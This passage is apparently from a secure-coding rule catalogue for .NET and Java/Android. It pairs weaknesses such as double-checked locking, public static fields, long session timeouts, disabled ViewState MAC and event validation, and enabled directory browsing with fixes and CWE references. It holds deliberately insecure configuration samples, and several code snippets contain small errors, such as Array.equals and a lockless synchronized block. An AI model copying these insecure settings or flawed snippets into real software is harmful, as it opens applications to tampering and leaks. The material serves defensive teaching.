Title	Use of Manual Garbage Collect
Summary	The attacker may trigger performance problems and create denial of service situation
Severity	Medium
Cost Fix	High
Trust Level	High
ID	
Description	
Technology	.NET
Garbage collection is a way of automatic memory management used by programming languages and frameworks. Memory resources are released by the runtime when they are	

no longer used by the code.

When dealing with memory intensive operations, such as reading huge files into memory one or more times, out of memory exceptions may be thrown.

Usually when we face with similar cases in order not to spend too much time we tend to incorrectly mitigate the issue by calling garbage collection explicitly, as such;

```
System.GC.Collect();
```

However, this is usually just quick win and not the root cause of the extensive memory usage. With same operation that causes the problem occur one or more times, the memory problem rises again.

Technology	JAVA, ANDROID

Garbage collection is a way of automatic memory management used by programming languages and frameworks. Memory resources are released by the runtime when they are no longer used by the code.

When dealing with memory intensive operations, such as reading huge files into memory one or more times, out of memory exceptions may be thrown.

Usually when we face with similar cases in order not to spend too much time we tend to incorrectly mitigate the issue by calling garbage collection explicitly, as such;

```
System.gc();
```

However, this is usually just quick win and not the root cause of the extensive memory usage. With same operation that causes the problem occur one or more times, the memory problem rises again. Moreover, still, JVM decides (best effort) when to execute garbage collection even with the manual calling.

Mitigation

Technology	.NET

Calling garbage collection explicitly is a bad practice which only hides the root cause temporarily. More efficient ways of writing code should be employed dealing with memory problems.

Such as, coding using streams and IEnumerable types without reading the whole file into the memory at once.

Technology	JAVA, ANDROID
Calling garbage collection explicitly is a bad practice which only hides the root cause temporarily. More efficient ways of writing code should be employed dealing with memory problems. Using 3rd party APIs, such as for cloning objects, producing graphs is particularly dangerous and care should be taken. For example, their changelogs and best practice documents about possibly memory leaks should be thoroughly analyzed.	
References	• CWE-404

Catching Null Reference Exception

Title	Catching Null Reference Exception
Summary	Unnoticed null dereference exceptions may hide serious underlying problems
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Null reference exceptions seem to be the easiest problems that a developer can handle, however, even the most experienced developers fall into this problem at runtime. Catching null reference exceptions around problematic code blocks may seem a good idea at first.

```
try
{
  ...
}
catch (NullReferenceException nre) {
  return false;
}
```

However, this is not a good idea for more than one reason. First a serious problem may be hidden, and hiding a problem is never a reliable, good solution in development. Second catching the exception incurs performance problems. Third the software flow may be left in an unstable status when the code above returns upon catching the null reference exception.

Technology	JAVA, ANDROID

Null reference exceptions seem to be the easiest problems that a developer can handle, however, even the most experienced developers fall into this problem at runtime. Catching null reference exceptions around problematic code blocks may seem a good idea at first.

```
try
{
  ...
}
catch (NullPointerException npe) {
  return false;
}
```

However, this is not a good idea for more than one reason. First a serious problem may be hidden, and hiding a problem is never a reliable, good solution in development. Second catching the exception incurs performance problems. Third the software flow may be left in an unstable status when the code above returns upon catching the null reference exception.

Mitigation

Technology	.NET

Catching null reference exception explicitly is a bad practice which only hides the root cause temporarily. More efficient ways of writing code should be employed dealing with possible null reference problems.

Coding using with argument null checking such as;

```
bool isUpper(String s) {
  if (s == null) {
    return false;
  }
...
```

Technology	JAVA, ANDROID

Catching null reference exception explicitly is a bad practice which only hides the root cause temporarily. More efficient ways of writing code should be employed dealing with possible null reference problems.
 	
Coding using with argument null checking such as;
 	
boolean isUpper(String s) {
  if (s == null) {
  return false;
  }
...

References	• CWE-395 • ERR08-J

Incorrect Call to Equals with Null

Title	Incorrect Call to Equals with Null
Summary	The Equals method never returns true with null argument
Severity	Low
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Equals method is used to determine whether the specified object is equal to the current object. When null is passed to Equals method for null check, it either throws NullReferenceException when the object that Equals is called on is null or false the object is not null.

```
if(myObj.Equals(null))
{
  ...
}
```

Technology	JAVA, ANDROID

equals method is used to determine whether the specified object is equal to the current object. When null is passed to equals method for null check, it either throws NullPointerException when the object that Equals is called on is null or false the object is not null.
 	
if(myObj.equals(null))
{
...
}	

Mitigation	
Technology	.NET

Null check can be achieved by == equality expression operator such as;
 	
if(myObj == null)
{
...
}	

Technology	JAVA, ANDROID

Null check can be achieved by == equality expression operator such as;
 	
if(myObj == null)
{
...
}	

References	• CWE-595 • EXP01-J

Incorrect Call to Equals with Array

Title	Incorrect Call to Equals with Array
Summary	The Equals method almost always returns false
Severity	Low

Cost Fix	Low
Trust Level	Medium
ID	
Description	
Technology	.NET

Equals method is used to determine whether the specified object is equal to the current object. When it is used on arrays, which are objects, the reference equality is checked instead of content equality.

```
int [] a = { 1, 2, 3 ,4, 5, 6 };
int [] b = { 1, 2, 3 ,4, 5, 6 };
if(a.Equals(b)) // always calculated to false
{
  ...
}
```

This is more obvious, but the same fallacy occurs with the == operator such as;

```
int [] a = { 1, 2, 3 ,4, 5, 6 };
int [] b = { 1, 2, 3 ,4, 5, 6 };
if(a == b) // always calculated to false
{
  ...
}
```

Technology	JAVA, ANDROID

equals method is used to determine whether the specified object is equal to the current object. When it is used on arrays, which are objects, the reference equality is checked instead of content equality.

```
int [] a = new int [] { 1, 2, 3 ,4, 5, 6 };
int [] b = new int [] { 1, 2, 3 ,4, 5, 6 };
if(a.equals(b)) // always calculated to false
{
  ...
}
```

This is more obvious, but the same fallacy occurs with the == operator such as;

```
int [] a = new int [] { 1, 2, 3 ,4, 5, 6 };
int [] b = new int [] { 1, 2, 3 ,4, 5, 6 };
if(a == b) // always calculated to false
```

```
{
  ...
}
```

Mitigation	
Technology	.NET

Content equality check can be achieved by SequenceEqual method such as;

```
int [] a = { 1, 2, 3 ,4, 5, 6 };
int [] b = { 1, 2, 3 ,4, 5, 6 };
if(a.SequenceEqual(b))
{
  ...
}
```

Technology	JAVA, ANDROID

Content equality check can be achieved by Array.equals method such as;

```
int [] a = new int [] { 1, 2, 3 ,4, 5, 6 };
int [] b = new int [] { 1, 2, 3 ,4, 5, 6 };
if(Array.equals(a, b))
{
  ...
}
```

References	• CWE-595 • EXP02-J

Incorrect String Comparison

Title	Incorrect String Comparison
Summary	The == comparison operator for String almost always returns false
Severity	Low
Cost Fix	Low
Trust Level	Medium
ID	

Description	
Technology	JAVA, ANDROID

== and != operators are used to compare equalities. However, when used with String operands, which are objects, the reference equality is checked instead of content equality.
 	
String a = “This is a string”;
String b = “This is a string”;
if(a == b) // always calculated to false
{
  ...
}	

Mitigation	
Technology	JAVA, ANDROID

Content equality check can be achieved by String.equals method such as;
 	
String a = “This is a string”;
String b = “This is a string”;
if(a.equals(b))
{
  ...
}	

References	• CWE-595

Declaring finalize Method

Title	Declaring finalize Method
Summary	Declaring finalize method in subclasses may put software into an unstable status
Severity	Medium
Cost Fix	Medium
Trust Level	Medium
ID	

Description	
Technology	JAVA, ANDROID

Java runtime garbage collectors invoke objects' finalize methods to give an opportunity for those objects to release resources such as native resources, file or network streams that they are using.

```
protected void finalize() {
  release();
}
```

However, it is tricky to implement such a method, since there are a number of rules to follow and conditions to contemplate about;

- Since it may take some time for Java runtime garbage collectors to call finalize methods, resources may wait open causing leaks
- finalize methods should call inherited classes' finalize methods
- Users can call finalize methods explicitly leading to duplicate calls, one explicitly and the other with runtime
- finalize methods should not be declared as public, partly because of the above rule
- finalize methods decrease garbage collection performance, extending lifetime of to-be-garbage-collected objects

Mitigation	
Technology	JAVA, ANDROID

Because it's tricky to implement, finalize method shouldn't be implemented on new classes. Otherwise caution should be taken to implement it performant and according to rules below;

- finalize methods should not be declared as public
- Only runtime garbage collector should call finalize methods
- finalize methods should call super.finalize()
- Exceptions should be caught in finalize methods

References	
	• CWE-586 • CWE-583 • CWE-568 • MET12-J

Double Checked Locking

Title	Double Checked Locking
Summary	Threat safety might not be achieved with double checked locking pattern
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Double checked locking is a software design pattern that tries to increase the performance of a locking that is used to achieve synchronization in a threaded environment.

```
private static object lockObj = new Object();

public static Singleton Resource {
 get  {
  if (resource == null)
  {
    lock (lockObj)  {
      if (resource == null)
      {
         resource = new Singleton();
      }
    }
  }
  return resource;
 }
}
```

The above code uses a nested if statement in order to prevent unnecessary lockings to run which eventually decreases the performance. When the first if statement fails, that means another thread already got the lock and there's no need to execute the lock method.

However, due to compiler optimizations this pattern may allow *resource* singleton to be initialized more than once, which is incorrect since Singletons should be initialized only once.

Mostly in older compilers and runtime environments, when a constructor call is in progress the memory may already be initialized and in the above code while first thread is initializing the *resource* object, the other thread may also pass the first if statement since *resource* reference points to an uninitialized memory, which makes it non-null.

Technology	JAVA, ANDROID

Double checked locking is a software design pattern that tries to increase the performance of a locking that is used to achieve synchronization in a threaded environment.

```
public Resource getResource() {
  if (resource == null)
  {
    synchronized {
      if (resource == null)
      {
        resource = new Resource();
      }
    }
  }
  return resource;
}
```

The above code uses a nested if statement in order to prevent unnecessary lockings to run which eventually decreases the performance. When the first if statement fails, that means another thread already got the lock and there's no need to execute the lock method.

However, due to compiler optimizations this pattern may allow *resource* singleton to be initialized more than once, which is incorrect since Singletons should be initialized only once.

Mostly in older compilers and runtime environments, when a constructor call is in progress the memory may already be initialized and in the above code while first thread is initializing the *resource* object, the other thread may also pass the first if statement since *resource* reference points to an uninitialized memory, which makes it non-null.

Mitigation

Technology	.NET

Double checked locking pattern is fixed with .NET 2.0, however, using *volatile* keyword prevents the fallacy.

```
private static volatile object lockObj = new Object();

public static Singleton Resource {
 get  {
  if (resource == null)
  {
    lock (lockObj)  {
      if (resource == null)
      {
        resource = new Singleton();
      }
    }
  }
  return resource;
 }
}
```

Technology	JAVA, ANDROID

Double checked locking pattern is fixed with Java 1.5, however, using *volatile* keyword prevents the fallacy.

```
private static volatile Resource resource;

public Resource getResource() {
  if (resource == null)
  {
    synchronized {
      if (resource == null)
      {
        resource = new Resource();
      }
    }
  }
  return resource;
}
```

References	• CWE-609 • LCK10-J

Writable Public Static Fields

Title	Writable Public Static Fields
Summary	Attackers may be able to modify a public static field changing the state of the software
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	

Description

Technology	.NET

public static fields are accessible by the client code. Moreover, the value of these fields can also be changed by malicious client code according to their advantage.

```
class FixItem implements CoreItem {
  public static long serialUID = 19273630272L;
```

```
  ...
}
```

Technology	JAVA, ANDROID

public static fields are accessible by the client code. Moreover, the value of these fields can also be changed by malicious client code according to their advantage.

```
class FixItem implements CoreItem {
  public static long serialUID = 19273630272L;
   ...
}
```

Mitigation

Technology	.NET

Access modifiers of static fields should be restricted to protected or private, moreover, the fields should also be declared as final to prevent malicious client code to modify the value.

```
class FixItem implements CoreItem {
  private static readonly ItemAttr attr = new ItemAttr(19273630272L);;
  ...
}
```

or for primitive types

```
class FixItem implements CoreItem {
  private const long serialUID = 19273630272L;
  ...
}
```

Technology	JAVA, ANDROID

Access modifiers of static fields should be restricted to protected or private, moreover, the fields should also be declared as final to prevent malicious client code to modify the value.

```
class FixItem implements CoreItem {
  private static final long serialUID = 19273630272L;
  ...
}
```

Making the field only final (not private) won't prevent mutable field values to be modified by the client code such as arrays, strings, hashmaps etc.

References	• CWE-493 • CWE-500 • OBJ10-J

Using Floating Point Variables As Loop Counters

Title	Using Floating Point Variables As Loop Counters
Summary	Using floating point numbers as loop counters may produce incorrect executions
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	

Description

Technology	JAVA, ANDROID

In Java the *double* or the *decimal* are 64-bit precision IEEE 754 floating point. On the other hand, the *float* is a 32 bit precision IEEE 754 floating point.

Because of the imprecision, according to Java documentation his data type should never be used for precise values. One of these precise values is the loop counters. The below code will execute 9 times, not 10 times as expected by the developer.

```
for (float f = 0.1f; f <= 1.0f; f += 0.1f) {
  ...
}
```

This obviously may produce incomplete results.

Mitigation

Technology	JAVA, ANDROID

A correct code to used float as loop counters would be;

```
for (int index = 1; index <= 10; index += 1) {
  // change index into float if needed
  float f = index / 10.0f;
}
```

References	• NUM09-J

Possible Divide by Zero

Title	Possible Divide By Zero
Summary	The application might produce unexpected errors with possible source code disclosure
Severity	Low
Cost Fix	Low
Trust Level	Low
ID	

Description

Technology	.NET

/ operator is used for division and % operator is used for remainder arithmetic operations. Division and remainder operations might produce divide-by-zero errors when the divisor is assigned to 0, which leads to unexpected exceptions to be thrown just as in null reference exceptions.

```
int x, y, z;

// initialize x and y

z = x / y;
```

Technology	JAVA, ANDROID

/ operator is used for division and % operator is used for remainder arithmetic operations. Division and remainder operations might produce divide-by-zero errors when the divisor is assigned to 0, which leads to unexpected exceptions to be thrown just as in null reference exceptions.

```
int x, y, z;

// initialize x and y

z = x / y;
```

Mitigation

Technology	.NET

In order to prevent divide-by-zero errors the divisor should be checked against 0 value.

```
if(y == 0)
{
  // throw Exception
}
else
{
  z = x / y;
}
```

Technology	JAVA, ANDROID

In order to prevent divide-by-zero errors the divisor should be checked against 0 value.

```
if(y == 0)
{
  // throw Exception
}
else
{
  z = x / y;
}
```

References	• CWE-369 • NUM02-J

Ignoring Method Return Values

Title	Ignoring Method Return Values
Summary	Error conditions might be ignored producing unstable software state
Severity	Low
Cost Fix	Low
Trust Level	High
ID	

Description	
Technology	.NET

Sometimes methods have return values that denote error conditions, success or failures. Not checking these values upon return is like not handling exceptions. Failures might result of critical errors and should be handled correctly. Otherwise the application continues to run

in an unstable state leaving itself vulnerable to further attacks.

```
public void ProcessCart(Transaction transaction)
{
   if(transaction.IsValid())
   {
      ProcessTransaction(transaction);
   }
   else
   {
      // return with error
   }
}

protected bool ProcessTransaction(Transaction trx)
{
 if(process(trx))
 {
   return true;
 }

 return false;
}
```

Technology	JAVA, ANDROID

Sometimes methods have return values that denote error conditions, success or failures. Not checking these values upon return is like not handling exceptions. Failures might result of critical errors and should be handled correctly. Otherwise the application continues to run in an unstable state leaving itself vulnerable to further attacks.

```
public void processCart(Transaction transaction)
{
   if(transaction.IsValid())
   {
      processTransaction(transaction);
   }
   else
   {
      // return with error
   }
}

protected boolean processTransaction(Transaction trx)
{
 if(process(trx))
 {
   return true;
 }

 return false;
}
```

Mitigation	
Technology	.NET

The return values of methods should be checked against any possible error, notifications etc.

```
public void ProcessCart(Transaction transaction)
{
   if(transaction.IsValid())
   {
    if(ProcessTransaction(transaction))
    {
     // return with success
    }
    else
    {
      // return with error
    }
   }
   else
   {
     // return with error
   }
}

protected bool ProcessTransaction(Transaction trx)
{
 if(process(trx))
 {
   return true;
 }

 return false;
}
```

Technology	JAVA, ANDROID

The return values of methods should be checked against any possible error, notifications etc.

```
public void processCart(Transaction transaction)
{
   if(transaction.IsValid())
   {
    if(processTransaction(transaction))
    {
     // return with success
    }
    else
    {
      // return with error
    }
   }
   else
   {
     // return with error
   }
}

protected boolean processTransaction(Transaction trx)
{
 if(process(trx))
```

```
{
  return true;
}

 return false;
}
```

References	• CWE-252 • EXP00-J

Changing For Loop Iteration Variable

Title	Changing For Loop Iteration Variable
Summary	Assignment to a loop variable doesn't have the expected effect of modifying the looped object
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	JAVA, ANDROID

It is easier to write repetitive code by using the enhanced for statement. However, inside the body of the loop when the loop identifier is assigned to another object, this doesn't mean the loop list is modified.

In the below code piece, supplierNames wouldn't be modified after the loop.

```
List<String> supplierNames = Arrays.asList("CORS", "XFF", "HTTPONLY");
for(String supplier : supplierNames)
{
  if(supplier.equals("XFF") == 0)
  {
     supplier = "ACCESS";
  }
}
```

Mitigation	
Technology	JAVA, ANDROID
The loop iterator shouldn't be used as a left hand operand in an assignment in the enhanced for statement.	
References	• DCL02-J

Using Identifier Names From Standard Libraries

Title	Using Identifier Names From Standard Libraries
Summary	Ambiguities may arise using the custom identifier names in code that are already defined in public standard libraries
Severity	Low
Cost Fix	Low
Trust Level	High
ID	

Description	
Technology	JAVA

Declaring and using identifier names that are already used in framework's public standard libraries may create ambiguities and maintenance problems. In a multiple developer environments this ambiguity can make consumer developers end up using wrong classes, interfaces, etc.

The class declaration below uses *Statement* identifier name from *java.beans.Statement* in Java Standard Library. A consumer developer may omit the correct package name for import and use the unintended one.

```
class Statement
{
  public Statement(string cmd)
  {
  }

  public void execute()
  {
```

```
  }
}
```

Mitigation	
Technology	JAVA

If a similar name should be used for an identifier that was already defined in the public standard library, the name can be personalized.

```
class CustomStatement
{
  public Statement(string cmd)
  {
  }

  public void execute()
  {

  }
}
```

References	
	• DCL01-J

Incorrect Comparison with NaN

Title	Incorrect Comparison with Nan
Summary	Comparison operator == when used with NaN always return false
Severity	Low
Cost Fix	Low
Trust Level	High
ID	

Description	
Technology	JAVA, ANDROID

NaN means not a number and according to the Java Language Specification, “Double.NaN is unordered, so the numerical comparison operators <, <=, >, and >= return false if either or both operands are NaN. for example the code below always print “number”;

```
double result = 0.0;

// an arithmetic calculation that assigns NaN to result here

if(result == Double.NaN)
{
  System.out.println("not a number");
}
else
{
  System.out.println("number");
}
```

Another, maybe more striking example would be;

```
if(Double.NaN == Double.NaN)
{
  System.out.println("equal");
}
else
{
  System.out.println("not equal");
}
```

The code above prints “not equal”.

Mitigation	
Technology	JAVA, ANDROID

In order to check whether an arithmetic operation results as not a number, Double.isNaN method should be used. The code below prints not a number;

```
double result = Double.NaN;

if(Double.isNaN(result))
{
  System.out.println("not a number");
}
else
{
  System.out.println("number");
}
```

References	
	• NUM07-J

Using Thread.stop Method

Title	Using Thread.stop Method

Summary	stop method of Thread may leave application in an inconsistent state
Severity	Low
Cost Fix	Medium
Trust Level	High
ID	

Description

Technology	JAVA, ANDROID

java.lang.Thread contains stop method that abruptly stops the running thread that the method is called upon. However, when this method is called ThreadDeath exception is thrown in anywhere within the running thread, more likely to leave the object in an inconsistent state.

```
PrimeThread p = new PrimeThread(173);
p.start();
...
p.stop();

class PrimeRun implements Runnable {
 long minPrime;
 PrimeRun(long minPrime) {
   this.minPrime = minPrime;
 }

 public void run() {
  // compute primes larger than minPrime
  ...
 }
}
```

Mitigation

Technology	JAVA, ANDROID

Due to inherent weaknesses in Thread design, methods including stop is deprecated. There are other methods such as using a volatile boolean class member that denotes that the thread should stop as shown below.

```
PrimeThread p = new PrimeThread(173);
p.start();
...
p.kill();

class PrimeRun implements Runnable {
 long minPrime;
 volatile boolean done = false;
```

```
public void kill() {
  done = true;
}

PrimeRun(long minPrime) {
  this.minPrime = minPrime;
}

public void run() {
 // compute primes larger than minPrime
 while(!done && !completed)
 {
            ...
 }
}
}
```

References	• CWE-705 • THI05-J

Using Thread.run Method

Title	Using Thread.run Method
Summary	Directly called run method of Thread is not asynchronous
Severity	Low
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	JAVA, ANDROID

java.lang.Thread contains start method that executes the run method of the target thread. However, when run method is directly called by the calling thread, the contents of the run method is run not in a separate thread but in the context of the calling thread.

```
PrimeThread p = new PrimeThread(173);
p.run();
...

class PrimeRun implements Runnable {
```

```
long minPrime;
PrimeRun(long minPrime) {
  this.minPrime = minPrime;
}

public void run() {
 // compute primes larger than minPrime
  ...
}
}
```

Mitigation	
Technology	JAVA, ANDROID

In order to execute the target code in the context of a separate thread, start method should be called, instead of the run method.

```
PrimeThread p = new PrimeThread(173);
p.start();
...

class PrimeRun implements Runnable {
 long minPrime;
 PrimeRun(long minPrime) {
   this.minPrime = minPrime;
 }

 public void run() {
  // compute primes larger than minPrime
   ...
 }
}
```

References	
	• CWE-572 • THI00-J

Using Thread.sleep in Synchronized Method

Title	Using Thread.sleep in Synchronized Method
Summary	System performance drops due to waiting for a time consuming operation leading to denial of service
Severity	Low
Cost Fix	Low
Trust Level	High

ID	
Description	
Technology	JAVA, ANDROID

When Thread.sleep is called inside a synchronized method for a thread, other threads that tries to call the current object's class's synchronized methods will have to wait.

Generalized this waiting is not solely due to Thread.sleep call, but can also be caused by a long I/O process, a network request/response or any other blocking options.

```
public synchronized void send() throws InterruptedException {
  // ...
  Thread.sleep(4000);
}
```

Mitigation	
Technology	JAVA, ANDROID

In order to give a chance to other threads waiting on the current object's lock, Object.wait method should be used instead of Thread.sleep inside a while loop whose stopping condition is a simple negated boolean variable.

By using wait, the current object's lock is released and give chance to the other threads using the same object to be able to call the synchronized methods.

```
public synchronized void send() throws InterruptedException {
  // ...
  while(!completed)
  {
    wait(4000);
  }
}
```

References	• LCK09-J

Calling Overridable Methods in Constructor

Title	Calling Overridable Methods in Constructor
Summary	Malicious subclasses may manipulate the initialization code of an object
Severity	Low

Cost Fix	Low
Trust Level	High
ID	

Description

Technology	.NET

When a class constructor calls a method for initialization, a derived class may override the original virtual method and therefore may manipulate the object initialization that is designed in the original, inherited class constructor.

```
class BaseClass {
  public BaseClass () {
   initialize();
  }

  public virtual void initialize() {
   Console.WriteLine("Original code for initializing in effect...");
  }
}

class DerivedClass : BaseClass {

  public DerivedClass() {
  }

  public override void initialize() {
   Console.WriteLine("Manipulated code for initialization in effect");
  }
}
```

In the above code, when *DerivedClass* is initialized and *BaseClass* constructor is called, instead of original *BaseClass*.*initialize* virtual method, overrided *DerivedClass*.*initialize* method will be run.

Technology	JAVA, ANDROID

When a class constructor calls a method for initialization, a derived class may override the original method and therefore may manipulate the object initialization that is designed in the original, inherited class constructor.

```
class BaseClass {
  public BaseClass () {
   initialize();
  }

  public void initialize() {
   System.out.println("Original code for initializing in effect...");
  }
}
```

```
class DerivedClass extends BaseClass {

  public DerivedClass() {
   super();
  }

  public void initialize() {
   System.out.println("Manipulated code for initialization in effect");
  }
}
```

In the above code, when *DerivedClass* is initialized and *BaseClass* constructor is called , due to *super()*, instead of original *BaseClass.initialize* method, overrided *DerivedClass.initialize* method will be run.

Mitigation

Technology	.NET

In order to prevent any method call in the base class constructor to be manipulated by the derived classes virtual keyword shouldn't be used as shown below;

```
class BaseClass {
  public BaseClass () {
   initialize();
  }

  public void initialize() {
   Console.WriteLine("Original code for initializing in effect...");
  }
}
```

Technology	JAVA, ANDROID

In order to prevent any method call in the base class constructor to be manipulated by the derived classes final keyword can be used as shown below;

```
class BaseClass {
  public BaseClass () {
   initialize();
  }

  public final void initialize() {
   System.out.println("Original code for initializing in effect...");
  }
}
```

References	• MET05-J

Configuration

Insecure Session Timeout

Title	Insecure Session Timeout
Summary	The attacker can guess the session ids of authentic users and take actions on behalf of them
Severity	Medium
Cost Fix	Medium
Trust Level	High
ID	
Description	
Technology	.NET

Nearly every decent web application framework has a configurational capability to declare session timeout values.

Sessions (and cookies at client side) are the most widely methodology to remember application users inter-HTTP requests. If a user stays idle for a long time, this may give an attacker the opportunity to brute-force his/her the session id and login to the application without knowing the credentials of the related user.

Here's an insecure session timeout value in Web.config which amounts to 2 hours of idle user window;

```
<configuration>
  <system.web>
    <authentication mode="Forms">
      <forms timeout="120"/>
    </authentication>
  </system.web>
…
```

Technology	JAVA

Nearly every decent web application framework has a configurational capability to declare

session timeout values.

Sessions (and cookies at client side) are the most widely methodology to remember application users inter-HTTP requests. If a user stays idle for a long time, this may give an attacker the opportunity to brute-force his/her the session id and login to the application without knowing the credentials of the related user.

Here's an insecure session timeout value in Web.config which amounts to 2 hours of idle user window;

```
<session-config>
  <session-timeout>
    150
  </session-timeout >
</session-config>
…
```

Mitigation

The default value for forms authentication is 30 minutes. So, if there's not any valid business requirements for increasing this value, it should stay same or be lowered further.

An example rule set that can be used to calculate a possible idle timeout value is presented below;

Criteria	Levels		
Session ID Predictability	1 Highly predictable	2 Predictable	3 Not predictable
Lockout Policy	1 Exists	3 Not Exists	
Application Criticality	1 High	2 Medium	3 Low
Availability	1 Internet	2 Extranet	3 Intranet

For each application the level values for each criteria will be multiplied and the result will determine the timeout value as shown below;

- Multiplication value between 1 and 3 (inclusive) will point a 20 minutes idle timeout
- Multiplication value between 3 and 6 (inclusive) will point a 30 minutes idle timeout

• Multiplication value between 6 and 9 (inclusive) will point a 60 minutes idle timeout • Multiplication value between 9 and 12 (inclusive) will point a 300 minutes idle timeout	
References	• CWE-613 • HIPAA Security Rule 45 CFR 164.312(a)(2)(iii) • OWASP Top 10 A2 • PCI DSS 6.5.10

Missing Fail-Safe Error Handling

Title	Missing Fail-Safe Error Handling
Summary	Missing an almighty error handling configuration in web frameworks may allow attackers to deduce internal details of an application through detailed error messages
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Nearly every decent web application framework has a configurational capability to declare a very generic error handling management.

In fact presenting detailed error messages is always advantageous for developers to understand the root reason of a production bug. However, the same is true for attackers, too. An attacker presented a detailed exception will abuse it for a huge range of vulnerabilities; all injection types of vulnerabilities, padding oracle, business logic problems, mass assignment etc.

Here’s an insecure customerrors directive;

```
<system.web>
```

```
<customErrors mode="Off">
</customErrors>
```

Technology	JAVA

Nearly every decent web application framework has a configurational capability to declare a very generic error handling management.

In fact presenting detailed error messages is always advantageous for developers to understand the root reason of a production bug. However, the same is true for attackers, too. An attacker presented a detailed exception will abuse it for a huge range of vulnerabilities; all injection types of vulnerabilities, padding oracle, business logic problems, mass assignment etc.

An insecure web.xml doesn't contain any <error-page> directive that may contain general error handlers for various cases.

Mitigation

Technology	.NET

In Web.config, the configuration below should be enabled to present users default error pages when something goes wrong on production systems;

```
<system.web>
  <customErrors mode="On">
  </customErrors>
```

There are other options, too, however, the important thing is that only a small amount of authorized people should be able to see detailed error messages.

Technology	JAVA

In web.xml, the directive below should be configured to present users default error pages when something goes wrong on production systems;

```
...
</welcome-file-list>
<error-page>
  <exception-type>java.lang.Throwable</exception-type>
  <location>/error.jsp</location>
</error-page>
<error-page>
  <error-code>404</error-code>
```

```
  <location>/error.jsp</location>
</error-page>
<error-page>
  <error-code>500</error-code>
  <location>/error.jsp</location>
</error-page>
```

There are other options, too, however, the important thing is that only a small amount of authorized people should be able to see detailed error messages.

error.jsp:

```
<%@ page isErrorPage="true" %>
<% if (exception == null) exception = new Exception("HATA"); %>
 …
 <%
        // any permission or IP based authorization control here
 %>
<%=exception.getMessage() %>
```

myindex.jsp:

```
<%@ include file="global.inc" %>
 …
 Merhaba <%= user %>
```

global.inc:

```
<%@page errorPage="/error.jsp" %>
```

References	• CWE-756 • OWASP Top 10 A5 • PCI DSS 6.5.5

Disabled ViewState MAC Validation

Title	Disabled ViewState MAC Validation
Summary	The attacker can tamper ViewState content resulting putting fraudulent values in WebForms components, changing the state or even Cross Site Scripting
Severity	High
Cost Fix	Low

Trust Level	High
ID	
Description	ViewState is one of the most important aspects of ASP.NET WebForms applications. However, it is also one of the most confusing aspects. ViewState is a technique for storing changes in dynamic web pages during user interaction with the application server. Even though used with POST requests with right parameters being sent, a GET request can also carry a ViewState. ViewState is stored in a hidden HTML value; <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="..." /> The integrity of the data stored in ViewState is secured using a message authentication code in which a secret key is used to ensure that no attacker tampers with the VIEWSTATE data. The important thing is that the secrecy isn't important but the integrity. In order to provide that integrity MAC shouldn't be disabled. The below configuration disables message authentication code applied to the VIEWSTATE and allows attackers to tamper the viewstate data. <configuration> <system.web> <pages enableViewStateMac="False" /> </system.web> </configuration> The MAC can also be disabled in aspx pages individually; <%@ Page EnableViewStateMac="false" %>
Mitigation	In general .NET framework is secure by default, which means the features are deployed in a secure configurational and runtime defaults. By default the integrity of viewstate data is being ensured and it should stay that way.
References	• CWE-642 • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A5 • PCI DSS 6.5.3

Disabled Event Validation

Title	Disabled Event Validation
Summary	The attacker can tamper HTTP parameters and manipulate the right flow of the application bypassing controls, licenses, authorization controls, etc.
Severity	High
Cost Fix	Low
Trust Level	High
ID	

Description	Parameter manipulation is one of the first things that attackers try against a web application to force them to process unexpected values. For example, a combobox component (a DropDownList for example) that has list of cities will be expected to contain only the valid pre-populated cities. The list of cities will be populated at the server side and will be reflected back to user agent for a selection. The end user's selected value that is sent back should be one of the valid cities. The attacker on the other hand can send any value instead including the attack strings, such as sql injection or cross site scripting, etc.
	
	ASP.NET has an event validation property that prohibits this unlawful behaviour. The rendered good values at the server side is kept as an HTML hidden field;
	
	`<input type="hidden"`
	`name="__EVENTVALIDATION"`
	`id="__EVENTVALIDATION"`
	`value="..."`
	`/>`
	
	It may seem logical to disable event validation, for instance, when client side code updates the component's prepopulated values dynamically. When the user selects the new value and sends it back to the server, the event validation will fail and the request gets rejected.
	
	`<system.web>`
	`<pages enableEventValidation="false"/>`
	`</system.web>`

	The event validation can also be disabled in aspx pages individually; <%@ Page EnableEventValidation="false" ... %>
Mitigation	In general .NET framework is secure by default, which means the features are deployed in a secure configurational and runtime defaults. By default the validation of server control data such as of comboboxes are being checked against tampering and it should stay that way. Disabling the event validation will open new venues for attackers for parameter manipulation.
References	• CWE-346 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A5 • PCI DSS 6.5.8

WCF Directory Listing

Title	WCF Directory Listing
Summary	The attacker can deduce web folder directory and its content information in order to use further attacks such as credential stealing
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	Potentially sensitive information can be disclosed to the attackers in various ways. Listing the content of the web application directories is one of the most easiest ways for attackers to deduce these possibly sensitive information. In order to browse web app root directory during debugging WCF allow directory listing by default with a configuration below;

	<system.webServer> <modules runAllManagedModulesForAllRequests="true"/> <directoryBrowse enabled="true"/> </system.webServer>
Mitigation	A configuration directive that is more than appropriate for testing might not be secure for the production. Directory listing should be disabled in order not conform to security's one the most critical principle; need to know. <system.webServer> <modules runAllManagedModulesForAllRequests="true"/> <directoryBrowse enabled="false"/> </system.webServer>
References	• CWE-548 • HIPAA Security Rule 45 CFR 164.306(a)(3) • HIPAA Security Rule 45 CFR 164.312(d) • OWASP Top 10 A5 • PCI DSS 6.5.8

WCF Unsafe Certificate Validation

Title	WCF Unsafe Certificate Validation
Summary	The attacker can read the sensitive traffic in cleartext between clients and the server, such as usernames, passwords, credit card numbers, etc.
Severity	Critical
Cost Fix	Medium
Trust Level	High
ID	
Description	SSL is the de-facto standard used to provide end-to-end secrecy between clients and the server over HTTP. HTTPS using server administrators buy valid SSL certificates from valid certificate authorities. They provide these certificates to the user agents

